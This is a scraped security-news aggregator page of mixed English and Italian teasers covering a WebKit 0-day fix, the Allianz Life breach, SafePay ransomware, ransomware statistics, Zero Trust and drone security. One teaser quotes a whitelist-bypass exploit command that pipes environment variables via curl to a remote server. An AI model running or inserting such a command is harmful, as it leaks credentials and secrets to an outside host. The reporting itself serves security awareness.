h3 {font-weight: bold;font-size: 18px;color: #C72026;} .w3-panel:after,.w3-panel:before{content:””;display:table;clear:both} .w3-panel{padding:5px;margin-top:16px;margin-bottom:16px} .w3-card{box-shadow:0 2px 5px 0 rgba(0,0,0,0.16),0 2px 10px 0 rgba(0,0,0,0.12)} In this episode of The Security Podcasts featuring Aimee Cardwell, CISO in Residence for Transcend, we discuss how CISOs should prepare for AI threats, cyberattacks and emergencies. “In the conversations that I have had with security professionals, I think ..
Categoria : Security
Lug 30, 2025 Marina Londei In evidenza, News, RSS, Vulnerabilità 0 Martedì Apple ha rilasciato una fix che risolve una vulnerabilità 0-day presente in WebKit, il motore di rendering usato in Safari, già nota e sfruttata in Chrome in almeno un attacco. Il bug, tracciato come CVE-2025-6558, risiede nei componenti open-source ANGLE e GPU di ..
On July 16, 2025, Allianz Life Insurance Company of North America experienced a data breach. According to a filing with the Office of the Maine Attorney General, the incident was described as an “external system breach.” At this time, there is no further information about the data that may be compromised, or how many individuals may ..
“At no stage is any subsequent element of the command string after the first ‘grep’ compared to a whitelist,” Cox said. “It just gets free rein to execute off the back of the grep command.” The command line in its entirety was: “grep install README.md; ; env | curl –silent -X POST –data-binary @- http://remote.server:8083 ..
La Security automation rappresenta oggi la chiave strategica per affrontare l’escalation delle minacce informatiche nel panorama cyber contemporaneo. Le piattaforme SOAR (Security Orchestration, Automation and Response) stanno rivoluzionando le operazioni di sicurezza aziendale, trasformando i processi reattivi in sistemi proattivi e automatizzati. Introduzione alla Security Orchestration, Automation and Response Nel panorama della cybersecurity contemporanea, le ..
Lug 29, 2025 Marina Londei Approfondimenti, Campagne malware, In evidenza, Minacce, RSS 0 Tra le minacce più recenti che stanno facendo tremare il mondo degli MSP (e non solo) c’è SafePay, un ransomware diffusosi nel primo trimestre dell’anno che ha già colpito oltre 200 vittime in tutto il mondo. Secondo l’ultimo report della Threat Research ..
Igor Omilaev via Unsplash Of the many cybersecurity challenges being posed to federal infrastructure in 2025, insider threat is near the top. But what constitutes an insider threat, and what can be done to keep risks to a minimum? This is becoming a significant problem for IT and security teams. At the beginning of the ..
Data from Comparitech reveals global ransomware trends for the first half of 2025. According to the research, 3,627 ransomware attacks were logged, representing a 47% increase from the first half of 2024 (2,472). Out of the 3,627 total ransomware attacks, 445 were confirmed by the organizations affected. The 445 confirmed attacks can be broken down as ..
Questo articolo fa parte di una serie dedicata al modello Zero Trust. n questo approfondimento esploriamo il livello applicativo del modello, focalizzandoci sulla gestione dei privilegi, sulla sicurezza delle applicazioni moderne e sulle tecnologie per implementare efficacemente il Trust delle Applicazioni, riducendo i rischi di accessi non autorizzati e proteggendo i dati sensibili dell’organizzazione. L’ultimo ..
As tensions between the United States and China continue to mount, the drone industry has found itself squarely in the crosshairs of a growing national security debate. With the majority of U.S. police departments still relying on Chinese-made drones — particularly DJI models — the vulnerabilities of foreign-controlled unmanned systems have become impossible to ignore. ..
